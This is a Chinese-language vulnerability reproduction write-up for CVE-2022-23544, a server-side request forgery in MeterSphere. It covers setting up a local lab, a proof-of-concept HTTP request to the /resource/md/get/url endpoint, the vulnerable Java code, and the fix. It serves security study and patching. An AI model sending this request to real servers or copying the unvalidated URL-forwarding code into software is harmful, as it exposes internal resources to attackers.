【漏洞复现】CVE-2022-23544 SSRF
漏洞信息
NVD - CVE-2022-23544
MeterSphere is a one-stop open source continuous testing platform, covering test management, interface testing, UI testing and performance testing. Versions prior to 2.5.0 are subject to a Server-Side Request Forgery that leads to Cross-Site Scripting. A Server-Side request forgery in IssueProxyResourceService::getMdImageByUrl
allows an attacker to access internal resources, as well as executing JavaScript code in the context of Metersphere’s origin by a victim of a reflected XSS. This vulnerability has been fixed in v2.5.0. There are no known workarounds.
背景介绍
MeterSphere is an open-source, continuous testing platform widely used by developers and QA managers for test plan management, data-driven testing, and test reporting metrics. It is engineered to integrate seamlessly with a variety of development and CI/CD toolchains to enhance productivity in DevOps environments. The platform supports functional UI, performance, and API testing, aiming to optimize testing workflows. The primary users of MeterSphere are software development teams and testing specialists seeking to attain high-quality assurance in their product cycles. Its robust plug-in architecture allows it to be extended and customized for specific workflows and tool integrations, making it adaptable across different industry requirements.
主页:https://metersphere.io/
源码:https://github.com/metersphere/metersphere
环境搭建
$ wget https://github.com/metersphere/metersphere/releases/download/v2.10.1-lts/metersphere-online-installer-v2.10.1-lts.tar.gz --no-check-certificate
$ tar zxvf metersphere-online-installer-v2.10.1-lts.tar.gz
$ cd metersphere-online-installer-v2.10.1-lts
$ sudo ./install.sh
$ msctl status
Name Command State Ports
--------------------------------------------------------------------------------------
api-test /deployments/run-java.sh Up (healthy) 0.0.0.0:10000->10000/tc
p,:::10000->10000/tcp,
0.0.0.0:10001->10001/tc
p,:::10001->10001/tcp,
0.0.0.0:10002->10002/tc
p,:::10002->10002/tcp,
0.0.0.0:10003->10003/tc
p,:::10003->10003/tcp,
0.0.0.0:10004->10004/tc
p,:::10004->10004/tcp,
0.0.0.0:10005->10005/tc
p,:::10005->10005/tcp,
0.0.0.0:10006->10006/tc
p,:::10006->10006/tcp,
0.0.0.0:10007->10007/tc
p,:::10007->10007/tcp,
0.0.0.0:10008->10008/tc
p,:::10008->10008/tcp,
0.0.0.0:10009->10009/tc
p,:::10009->10009/tcp,
0.0.0.0:10010->10010/tc
p,:::10010->10010/tcp
eureka /deployments/run-java.sh Up (healthy)
gateway /deployments/run-java.sh Up (healthy) 0.0.0.0:8081->8000/tcp,
:::8081->8000/tcp
kafka /opt/bitnami/scripts/kaf Up (healthy) 0.0.0.0:9092->9092/tcp,
ka ... :::9092->9092/tcp
minio /usr/bin/docker- Up (healthy) 0.0.0.0:9000->9000/tcp,
entrypoint ... :::9000->9000/tcp, 0.0.
0.0:9001->9001/tcp,:::9
001->9001/tcp
ms-data-streaming /deployments/run-java.sh Up (healthy)
ms-node-controller sh -c sed -i Up (healthy) 0.0.0.0:8082->8082/tcp,
"s/:101:/:136 ... :::8082->8082/tcp, 0.0.
0.0:9100->9100/tcp,:::9
100->9100/tcp
ms-prometheus /bin/prometheus Up (healthy) 0.0.0.0:9091->9090/tcp,
--config.f ... :::9091->9090/tcp
mysql docker-entrypoint.sh Up (healthy) 0.0.0.0:3306->3306/tcp,
mysqld :::3306->3306/tcp,
33060/tcp
nodeexporter /bin/node_exporter Up (healthy)
--path. ...
performance-test /deployments/run-java.sh Up (healthy)
project-management /deployments/run-java.sh Up (healthy)
redis docker-entrypoint.sh Up (healthy) 0.0.0.0:6379->6379/tcp,
redis ... :::6379->6379/tcp
report-stat /deployments/run-java.sh Up (healthy)
system-setting /deployments/run-java.sh Up (healthy)
test-track /deployments/run-java.sh Up (healthy)
workstation /deployments/run-java.sh Up (healthy)
Debug1:访问Web UI有{"success":false,"message":"401 UNAUTHORIZED \"Not found session, Please Login again.\"","data":null}
报错,一定要等待所有容器Up并healthy状态,后再等5min访问Web UI(不要中途切换)。
Debug2:9090端口号占用问题,在docker-compose-prometheus.yml
和install.conf
修改为9091即可。
# Debug3: Additionally
$ msctl restart gateway
$ msctl restart workstation
$ msctl restart prometheus
Web UI:http://127.0.0.1:8081
账号admin、密码metersphere
漏洞复现
参考:https://github.com/metersphere/metersphere/security/advisories/GHSA-vrv6-cg45-rmjj
issue里直接给出了POC,手动发包即可:
POC:
GET /resource/md/get/url?url=https://securitylab.github.com HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
漏洞分析
在 Metersphere 的 IssueProxyResourceService::getMdImageByUrl
方法中,存在一个 Server-Side Request Forgery (SSRF) 漏洞。攻击者可以利用这个漏洞访问内部资源,并通过受害者的反射型 XSS 执行 JavaScript 代码。
控制的 URL 参数:IssueProxyResourceController
中的 /md/get/url
接口接受一个用户控制的 url
GET 参数。
@GetMapping(value = "/md/get/url")
public ResponseEntity<byte[]> getFileByUrl(@RequestParam("url") String url,
@RequestParam(value = "platform", required = false) String platform,
@RequestParam("project_id") String projectId,
@RequestParam("workspace_id") String workspaceId) {
return issueProxyResourceService.getMdImageByUrl(url, platform, projectId, workspaceId);
}
URL 参数传递:getMdImageByUrl
方法将 url
参数传递给 RestTemplate
的 exchange
方法,这将使得请求被转发到任意指定的 URL。
public ResponseEntity<byte[]> getMdImageByUrl(String url, String platform, String projectId, String workspaceId) {
if (url.contains("md/get/url")) {
MSException.throwException(Translator.get("invalid_parameter"));
}
return restTemplate.exchange(url, HttpMethod.GET, null, byte[].class);
}
修复方案
The vulnerability has been fixed in v2.5.0
通过限制 RestTemplate
使用的路径来防止 SSRF 攻击,缺陷平台请求转发添加白名单:https://github.com/metersphere/metersphere/commit/d0f95b50737c941b29d507a4cc3545f2dc6ab121